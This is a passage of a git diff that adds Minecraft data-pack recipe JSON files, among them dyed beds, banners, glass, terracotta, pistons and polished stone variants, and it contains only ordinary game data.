"count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_trapdoor.json b/src/data/minecraft/recipes/oak_trapdoor.json new file mode 100644 index 00000000..4c2b717d --- /dev/null +++ b/src/data/minecraft/recipes/oak_trapdoor.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_trapdoor", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:oak_planks" + } + }, + "result": { + "item": "minecraft:oak_trapdoor", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_wood.json b/src/data/minecraft/recipes/oak_wood.json new file mode 100644 index 00000000..62124544 --- /dev/null +++ b/src/data/minecraft/recipes/oak_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:oak_log" + } + }, + "result": { + "item": "minecraft:oak_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/observer.json b/src/data/minecraft/recipes/observer.json new file mode 100644 index 00000000..0637ba95 --- /dev/null +++ b/src/data/minecraft/recipes/observer.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "RRQ", + "###" + ], + "key": { + "Q": { + "item": "minecraft:quartz" + }, + "R": { + "item": "minecraft:redstone" + }, + "#": { + "item": "minecraft:cobblestone" + } + }, + "result": { + "item": "minecraft:observer" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_banner.json b/src/data/minecraft/recipes/orange_banner.json new file mode 100644 index 00000000..70692a4b --- /dev/null +++ b/src/data/minecraft/recipes/orange_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:orange_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:orange_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_bed.json b/src/data/minecraft/recipes/orange_bed.json new file mode 100644 index 00000000..8f7ae1cf --- /dev/null +++ b/src/data/minecraft/recipes/orange_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:orange_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:orange_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_bed_from_white_bed.json b/src/data/minecraft/recipes/orange_bed_from_white_bed.json new file mode 100644 index 00000000..3d223a0b --- /dev/null +++ b/src/data/minecraft/recipes/orange_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:orange_dye" + } + ], + "result": { + "item": "minecraft:orange_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_carpet.json b/src/data/minecraft/recipes/orange_carpet.json new file mode 100644 index 00000000..f22346a4 --- /dev/null +++ b/src/data/minecraft/recipes/orange_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:orange_wool" + } + }, + "result": { + "item": "minecraft:orange_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_carpet_from_white_carpet.json b/src/data/minecraft/recipes/orange_carpet_from_white_carpet.json new file mode 100644 index 00000000..fc2d2a1b --- /dev/null +++ b/src/data/minecraft/recipes/orange_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:orange_dye" + } + }, + "result": { + "item": "minecraft:orange_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_concrete_powder.json b/src/data/minecraft/recipes/orange_concrete_powder.json new file mode 100644 index 00000000..7b603f77 --- /dev/null +++ b/src/data/minecraft/recipes/orange_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:orange_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:orange_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_dye_from_orange_tulip.json b/src/data/minecraft/recipes/orange_dye_from_orange_tulip.json new file mode 100644 index 00000000..257ca4fa --- /dev/null +++ b/src/data/minecraft/recipes/orange_dye_from_orange_tulip.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "orange_dye", + "ingredients": [ + { + "item": "minecraft:orange_tulip" + } + ], + "result": { + "item": "minecraft:orange_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_dye_from_red_yellow.json b/src/data/minecraft/recipes/orange_dye_from_red_yellow.json new file mode 100644 index 00000000..e801eebf --- /dev/null +++ b/src/data/minecraft/recipes/orange_dye_from_red_yellow.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "orange_dye", + "ingredients": [ + { + "item": "minecraft:red_dye" + }, + { + "item": "minecraft:yellow_dye" + } + ], + "result": { + "item": "minecraft:orange_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_glazed_terracotta.json b/src/data/minecraft/recipes/orange_glazed_terracotta.json new file mode 100644 index 00000000..ee417a35 --- /dev/null +++ b/src/data/minecraft/recipes/orange_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:orange_terracotta" + }, + "result": "minecraft:orange_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_stained_glass.json b/src/data/minecraft/recipes/orange_stained_glass.json new file mode 100644 index 00000000..bc5f43fc --- /dev/null +++ b/src/data/minecraft/recipes/orange_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:orange_dye" + } + }, + "result": { + "item": "minecraft:orange_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_stained_glass_pane.json b/src/data/minecraft/recipes/orange_stained_glass_pane.json new file mode 100644 index 00000000..d7f02d10 --- /dev/null +++ b/src/data/minecraft/recipes/orange_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:orange_stained_glass" + } + }, + "result": { + "item": "minecraft:orange_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/orange_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..ba938592 --- /dev/null +++ b/src/data/minecraft/recipes/orange_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:orange_dye" + } + }, + "result": { + "item": "minecraft:orange_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_terracotta.json b/src/data/minecraft/recipes/orange_terracotta.json new file mode 100644 index 00000000..e252427c --- /dev/null +++ b/src/data/minecraft/recipes/orange_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:orange_dye" + } + }, + "result": { + "item": "minecraft:orange_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/orange_wool.json b/src/data/minecraft/recipes/orange_wool.json new file mode 100644 index 00000000..7ab4e687 --- /dev/null +++ b/src/data/minecraft/recipes/orange_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:orange_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:orange_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/packed_ice.json b/src/data/minecraft/recipes/packed_ice.json new file mode 100644 index 00000000..bba61763 --- /dev/null +++ b/src/data/minecraft/recipes/packed_ice.json @@ -0,0 +1,35 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:ice" + }, + { + "item": "minecraft:ice" + }, + { + "item": "minecraft:ice" + }, + { + "item": "minecraft:ice" + }, + { + "item": "minecraft:ice" + }, + { + "item": "minecraft:ice" + }, + { + "item": "minecraft:ice" + }, + { + "item": "minecraft:ice" + }, + { + "item": "minecraft:ice" + } + ], + "result": { + "item": "minecraft:packed_ice" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/painting.json b/src/data/minecraft/recipes/painting.json new file mode 100644 index 00000000..5ee04b56 --- /dev/null +++ b/src/data/minecraft/recipes/painting.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "tag": "minecraft:wool" + } + }, + "result": { + "item": "minecraft:painting" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/paper.json b/src/data/minecraft/recipes/paper.json new file mode 100644 index 00000000..b03abbe4 --- /dev/null +++ b/src/data/minecraft/recipes/paper.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:sugar_cane" + } + }, + "result": { + "item": "minecraft:paper", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_banner.json b/src/data/minecraft/recipes/pink_banner.json new file mode 100644 index 00000000..9369d3db --- /dev/null +++ b/src/data/minecraft/recipes/pink_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:pink_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:pink_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_bed.json b/src/data/minecraft/recipes/pink_bed.json new file mode 100644 index 00000000..81b023e3 --- /dev/null +++ b/src/data/minecraft/recipes/pink_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:pink_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:pink_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_bed_from_white_bed.json b/src/data/minecraft/recipes/pink_bed_from_white_bed.json new file mode 100644 index 00000000..ff590686 --- /dev/null +++ b/src/data/minecraft/recipes/pink_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:pink_dye" + } + ], + "result": { + "item": "minecraft:pink_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_carpet.json b/src/data/minecraft/recipes/pink_carpet.json new file mode 100644 index 00000000..27eb7999 --- /dev/null +++ b/src/data/minecraft/recipes/pink_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:pink_wool" + } + }, + "result": { + "item": "minecraft:pink_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_carpet_from_white_carpet.json b/src/data/minecraft/recipes/pink_carpet_from_white_carpet.json new file mode 100644 index 00000000..a2fd626c --- /dev/null +++ b/src/data/minecraft/recipes/pink_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:pink_dye" + } + }, + "result": { + "item": "minecraft:pink_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_concrete_powder.json b/src/data/minecraft/recipes/pink_concrete_powder.json new file mode 100644 index 00000000..0dde6d55 --- /dev/null +++ b/src/data/minecraft/recipes/pink_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:pink_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:pink_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_dye_from_peony.json b/src/data/minecraft/recipes/pink_dye_from_peony.json new file mode 100644 index 00000000..af2a378a --- /dev/null +++ b/src/data/minecraft/recipes/pink_dye_from_peony.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "pink_dye", + "ingredients": [ + { + "item": "minecraft:peony" + } + ], + "result": { + "item": "minecraft:pink_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_dye_from_pink_tulip.json b/src/data/minecraft/recipes/pink_dye_from_pink_tulip.json new file mode 100644 index 00000000..15b063f5 --- /dev/null +++ b/src/data/minecraft/recipes/pink_dye_from_pink_tulip.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "pink_dye", + "ingredients": [ + { + "item": "minecraft:pink_tulip" + } + ], + "result": { + "item": "minecraft:pink_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_dye_from_red_white_dye.json b/src/data/minecraft/recipes/pink_dye_from_red_white_dye.json new file mode 100644 index 00000000..3ed81616 --- /dev/null +++ b/src/data/minecraft/recipes/pink_dye_from_red_white_dye.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "pink_dye", + "ingredients": [ + { + "item": "minecraft:red_dye" + }, + { + "item": "minecraft:white_dye" + } + ], + "result": { + "item": "minecraft:pink_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_glazed_terracotta.json b/src/data/minecraft/recipes/pink_glazed_terracotta.json new file mode 100644 index 00000000..d3b6d67e --- /dev/null +++ b/src/data/minecraft/recipes/pink_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:pink_terracotta" + }, + "result": "minecraft:pink_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_stained_glass.json b/src/data/minecraft/recipes/pink_stained_glass.json new file mode 100644 index 00000000..b7888ee4 --- /dev/null +++ b/src/data/minecraft/recipes/pink_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:pink_dye" + } + }, + "result": { + "item": "minecraft:pink_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_stained_glass_pane.json b/src/data/minecraft/recipes/pink_stained_glass_pane.json new file mode 100644 index 00000000..8dd8d9ea --- /dev/null +++ b/src/data/minecraft/recipes/pink_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:pink_stained_glass" + } + }, + "result": { + "item": "minecraft:pink_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/pink_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..3892925f --- /dev/null +++ b/src/data/minecraft/recipes/pink_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:pink_dye" + } + }, + "result": { + "item": "minecraft:pink_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_terracotta.json b/src/data/minecraft/recipes/pink_terracotta.json new file mode 100644 index 00000000..2b3fc186 --- /dev/null +++ b/src/data/minecraft/recipes/pink_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:pink_dye" + } + }, + "result": { + "item": "minecraft:pink_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/pink_wool.json b/src/data/minecraft/recipes/pink_wool.json new file mode 100644 index 00000000..8654621b --- /dev/null +++ b/src/data/minecraft/recipes/pink_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:pink_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:pink_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/piston.json b/src/data/minecraft/recipes/piston.json new file mode 100644 index 00000000..5d44f8b7 --- /dev/null +++ b/src/data/minecraft/recipes/piston.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "TTT", + "#X#", + "#R#" + ], + "key": { + "R": { + "item": "minecraft:redstone" + }, + "#": { + "item": "minecraft:cobblestone" + }, + "T": { + "tag": "minecraft:planks" + }, + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:piston" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_andesite.json b/src/data/minecraft/recipes/polished_andesite.json new file mode 100644 index 00000000..98cbdfd4 --- /dev/null +++ b/src/data/minecraft/recipes/polished_andesite.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SS", + "SS" + ], + "key": { + "S": { + "item": "minecraft:andesite" + } + }, + "result": { + "item": "minecraft:polished_andesite", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_andesite_from_andesite_stonecutting.json b/src/data/minecraft/recipes/polished_andesite_from_andesite_stonecutting.json new file mode 100644 index 00000000..0291f167 --- /dev/null +++ b/src/data/minecraft/recipes/polished_andesite_from_andesite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:andesite" + }, + "result": "minecraft:polished_andesite", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_andesite_slab.json b/src/data/minecraft/recipes/polished_andesite_slab.json new file mode 100644 index 00000000..36e787c4 --- /dev/null +++ b/src/data/minecraft/recipes/polished_andesite_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_andesite" + } + }, + "result": { + "item": "minecraft:polished_andesite_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_andesite_slab_from_andesite_stonecutting.json b/src/data/minecraft/recipes/polished_andesite_slab_from_andesite_stonecutting.json new file mode 100644 index 00000000..ced7b279 --- /dev/null +++ b/src/data/minecraft/recipes/polished_andesite_slab_from_andesite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:andesite" + }, + "result": "minecraft:polished_andesite_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_andesite_slab_from_polished_andesite_stonecutting.json b/src/data/minecraft/recipes/polished_andesite_slab_from_polished_andesite_stonecutting.json new file mode 100644 index 00000000..64478122 --- /dev/null +++ b/src/data/minecraft/recipes/polished_andesite_slab_from_polished_andesite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_andesite" + }, + "result": "minecraft:polished_andesite_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_andesite_stairs.json b/src/data/minecraft/recipes/polished_andesite_stairs.json new file mode 100644 index 00000000..d0afed3a --- /dev/null +++ b/src/data/minecraft/recipes/polished_andesite_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_andesite" + } + }, + "result": { + "item": "minecraft:polished_andesite_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_andesite_stairs_from_andesite_stonecutting.json b/src/data/minecraft/recipes/polished_andesite_stairs_from_andesite_stonecutting.json new file mode 100644 index 00000000..33317829 --- /dev/null +++ b/src/data/minecraft/recipes/polished_andesite_stairs_from_andesite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:andesite" + }, + "result": "minecraft:polished_andesite_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_andesite_stairs_from_polished_andesite_stonecutting.json b/src/data/minecraft/recipes/polished_andesite_stairs_from_polished_andesite_stonecutting.json new file mode 100644 index 00000000..e47f70f1 --- /dev/null +++ b/src/data/minecraft/recipes/polished_andesite_stairs_from_polished_andesite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_andesite" + }, + "result": "minecraft:polished_andesite_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_basalt.json b/src/data/minecraft/recipes/polished_basalt.json new file mode 100644 index 00000000..0ff33eb8 --- /dev/null +++ b/src/data/minecraft/recipes/polished_basalt.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SS", + "SS" + ], + "key": { + "S": { + "item": "minecraft:basalt" + } + }, + "result": { + "item": "minecraft:polished_basalt", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_basalt_from_basalt_stonecutting.json b/src/data/minecraft/recipes/polished_basalt_from_basalt_stonecutting.json new file mode 100644 index 00000000..ae62b09b --- /dev/null +++ b/src/data/minecraft/recipes/polished_basalt_from_basalt_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:basalt" + }, + "result": "minecraft:polished_basalt", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone.json b/src/data/minecraft/recipes/polished_blackstone.json new file mode 100644 index 00000000..b59335ac --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SS", + "SS" + ], + "key": { + "S": { + "item": "minecraft:blackstone" + } + }, + "result": { + "item": "minecraft:polished_blackstone", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_slab.json b/src/data/minecraft/recipes/polished_blackstone_brick_slab.json new file mode 100644 index 00000000..c0f2f679 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_brick_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_blackstone_bricks" + } + }, + "result": { + "item": "minecraft:polished_blackstone_brick_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_slab_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_brick_slab_from_blackstone_stonecutting.json new file mode 100644 index 00000000..4b50e4e9 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_brick_slab_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:polished_blackstone_brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_slab_from_polished_blackstone_bricks_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_brick_slab_from_polished_blackstone_bricks_stonecutting.json new file mode 100644 index 00000000..07af9144 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_brick_slab_from_polished_blackstone_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_blackstone_bricks" + }, + "result": "minecraft:polished_blackstone_brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_slab_from_polished_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_brick_slab_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..52d92d49 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_brick_slab_from_polished_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_blackstone" + }, + "result": "minecraft:polished_blackstone_brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_stairs.json b/src/data/minecraft/recipes/polished_blackstone_brick_stairs.json new file mode 100644 index 00000000..4591b011 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_brick_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_blackstone_bricks" + } + }, + "result": { + "item": "minecraft:polished_blackstone_brick_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_stairs_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_brick_stairs_from_blackstone_stonecutting.json new file mode 100644 index 00000000..5f6d13e6 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_brick_stairs_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:polished_blackstone_brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_stairs_from_polished_blackstone_bricks_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_brick_stairs_from_polished_blackstone_bricks_stonecutting.json new file mode 100644 index 00000000..bca3891f --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_brick_stairs_from_polished_blackstone_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_blackstone_bricks" + }, + "result": "minecraft:polished_blackstone_brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_stairs_from_polished_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_brick_stairs_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..e9971666 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_brick_stairs_from_polished_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_blackstone" + }, + "result": "minecraft:polished_blackstone_brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_wall.json b/src/data/minecraft/recipes/polished_blackstone_brick_wall.json new file mode 100644 index 00000000..9dbf7761 --- /dev/null +++ b/src/data/minecraft/recipes/polished_blackstone_brick_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:polished_blackstone_bricks" + } + }, + "result": { + "item": "minecraft:polished_blackstone_brick_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/polished_blackstone_brick_wall_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/polished_blackstone_brick_wall_from_blackstone_stonecutting.json new file mode 100644 index 00000000..0af88de6 --- /dev/null +++ 